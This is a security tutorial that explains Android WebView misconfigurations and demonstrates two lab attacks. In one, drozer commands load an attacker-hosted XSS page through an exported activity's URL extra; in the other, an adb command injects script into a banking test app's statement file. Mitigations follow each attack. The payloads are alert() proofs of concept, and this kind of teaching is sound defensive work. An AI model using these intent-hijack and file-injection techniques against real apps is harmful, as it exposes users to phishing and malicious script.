Initially, there was a time when only HTML used to display web pages. Then came JavaScript and along came dynamic pages. Further down the line, some person thought opening dynamic pages within android applications was a good idea, hence, WebView came into the picture. But as the security guys would know from their lifetime of experience–no new technology comes without insecurities. In this article, we’ll be discussing WebViews, their implementation in Java, misconfiguration, and exploitation. WebView misconfiguration can lead to critical Web-based attacks within an android application and so, its impact is unparalleled. Here is what all you can find in this article:
Let’s start.
WebView is a view that displays web pages within your existing android application without the need for opening links in an external browser. There are various applications of WebView in an android file, for example:
In the example attack scenario further, in the article, we’ll see how webviews render bank statements and how attacks can be performed on them.
The use cases are dynamic but to generalize, the following vulnerabilities exist due to poor implementation of WebView
Often devs ignore SSL errors. This means the app is vulnerable to MiTM attacks. For example, see the following code:
@Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { handler.proceed(); } |
Ever since the beginning of this series, I’ve only talked about native apps in Java and so the implementation of WebView would be limited to Java and how to tweak Android Studio Project files.
Step 1: import android.webkit.WebView and android.webkit.WebSettings in your project and input the following in your activity file:
webSettings.setJavaScriptEnabled(true); |
This is to ensure that javascript is successfully run while WebViews are called or the pages won’t look as flashy as they would on a normal browser.
Step 2: Now, to implement a WebView in your application, we need to add the following code in the someActivity.java file:
WebView var = (WebView) findViewbyId(R.id.webview); |
Step 3: Thereafter, to load a specific URL in the WebView we can use loadUrl method.
browser.loadUrl("https://hackingarticles.in"); |
It is to be noted there are various methods here that a user can play around with, like, clearHistory(), canGoBack(), destroy(), etc.
Step 4: Next, we need to define the view in the XML layout file.
<WebView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/webview" android:layout_width="fill_parent" android:layout_height="fill_parent" /> |
Step 5: Finally, we need to give it permissions to access the internet in the manifest file.
<uses-permission android:name=”android.permission.INTERNET” />
An interesting thing to be noted now is how to make WebViews interactive, Javascript is enabled in code in step 1. While this makes webviews fully functioning, it can also be used to exploit various Web-related vulnerabilities like XSS in Android.
As we know, HTML pages can be remote and/or can be stored in internal storage too. Hence, WebViews can call remote URLs as well as internal HTML pages. Following code has to be present in WebView implementation for an app to launch remote and local HTML pages:
Scenario 1: Here I have coded a very simple android app that uses a webview to render hacking articles website via an intent which is fired when a button is clicked. You can download this app here
And when the button is clicked, you can see hackingarticles.in being rendered on the webview client
Now, we need to fire up drozer agent and check out the exported activities. It is to be noted that if an activity is not exported, it cannot be called with an intent.
Note: Here, using drozer, we are just simulating an app that would have a code in which will be using an intent to call this activity with a forged URL and therefore exploiting the vulnerability.
adb forward tcp:31415 tcp:31415 drozer console connect run app.package.attacksurface com.example.webviewexample run app.activity.info -a com.example.webviewexample |
Now, we see WebViewActivity being exported. Let’s decompile and see the source code running b behind the activity so we can form an exploit.
In MainActivity, we can see that the button is calling an intent on click. Let’s break it down:
Note: Key is the reference variable (aka the name of the extra we just put) of the value which in this case is “url1” and url is a string that contains “https://hackingarticles.in”
Let’s have a look at WebViewActivity and break down what we have here:
Now, in the Drozer article here we learned how to formulate a query calling intent that has extras in it. Hence, to exploit WebView using drozer we type in the following command:
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 https://google.com |
What this query does is that it changes the initial value of url1 KEY while calling the WebViewActivity to launch a website of our providing.
Now, what is an attacker were to host a phishing page or a page with some malicious javascript code in it? For example, I’ve set up a simple JS PoC in exploit.html and hosted it on my python server. This serves as a PoC for all the Client Side Injection attacks as per Mobile OWASP Top 10 2014 (M7 client-side injection).
Exploit.html <html><body><script>alert("hacking articles!")</script></body></html> python3 -m http.server 80 |
All that was left to do was to include this HTML page in the drozer query we just made.
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 http://192.168.1.107/exploit.html |
And as you can see, we have just exploited vulnerable WebView to perform an XSS attack!
Mitigations and Best Practices: Following mitigations could be coded in practice to implement secure WebViews:
Oftentimes, a file is creating and destroying files in the internal file system and its output is rendered in WebViews. These applications have read/write access to internal storage and therefore, an attacker can trick an application into executing his custom code from the locations of one of the files that the application is creating/using. What were to happen if we inject a javascript code into one of these files? Here, we’ll be using an application called InsecureBankv2 created by Dinesh Shetty (found here). After setting up the application you’ll see a page like the following:
Make sure AndroLabServer is running (Install dependencies first and run python app.py). The default creds are dinesh/[email protected]$
After logging in you’ll see three options. First I’ll transfer some funds using the first option. Here I’ll input two accounts num and amount, that’s it. After that, I’ll be clicking on the second option available called View Statement.
On clicking the View Statement option we see a WebView being opened displaying something like this:
Before proceeding any further, we first will check the logs. They reveal so much about things like an activity that’s being called, maybe we even could see account numbers, funds or credentials, or some other juicy information! So, we type in the following command:
Something interesting popped up
Here, we see that an activity called ViewStatement was taking input from an HTML file Statements_dinesh.html that is stored at external storage under /storage/emulated/0
adb shell cd storage/emulated/0 && ls |
Exploitation: So, it is possible, if an attacker installs an app in victim’s device that has a read/write access to storage, he can change the HTML code, possibly insert a malicious code in it and it’ll be executed as soon as a legit user clicks on view statement.
Let’s try to tweak Statements_dinesh.html like the following:
adb shell cd storage/emulated/0 echo "<html><body><script>alert("Hacking Articles!”)</script></body></html>" > Statements_dinesh.html |
Let’s now click on view statement and see what happens
As you can see our custom code is now being run. But how? Upon inspecting the code below we found an insecure implementation of loadUrl() function that was accessing an internal file using the file:// resolver.
The icing was that JavaScript was enabled as well.
Mitigation: Loading content via file:// URLs is generally discouraged. setAllowFileAccess(boolean) can be used to turn on and off access to storage by a webview. Note that assets could still be loaded using file:// (Like above) but is highly insecure. To resolve that, always use androidx.webkit.WebViewAssetLoader to access files including assets and resources over http(s):// schemes, instead of file:// URLs.
Bonus: There is a little something known as CORS (Cross-Origin Resource Sharing) in Android. Basically, this CORS in android can be configured to allow WebView access to different file schemes. For example, a file:// can be called via URLs using setAllowFileAccessFromFileURLs() method. This is highly insecure as a malicious script could be called in file://. Don’t enable this setting if you open files that may be created or altered by external sources.
These attacks are web-based attacks running in Android apps due to the insecure use of a class called WebView that lets android apps use an embedded browser. This is oftentimes misconfigured and could lead to many attacks that come under OWASP Top 10 of 2017 Web Attacks as well as OWASP Top 10 of 2016 in Mobile Applications and hence, its impact is higher when compared to any other vulnerability due to it being highly dynamic in nature. Some improper WebView configurations could even lead to an attacker obtaining a session on the victim’s device. We demonstrated two methodologies of attacks in WebViews, we’ll be posting more articles in the future that may involve some more attack methodologies, so it is very important you follow this series of articles and read them all in sequence. Thanks for reading!
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here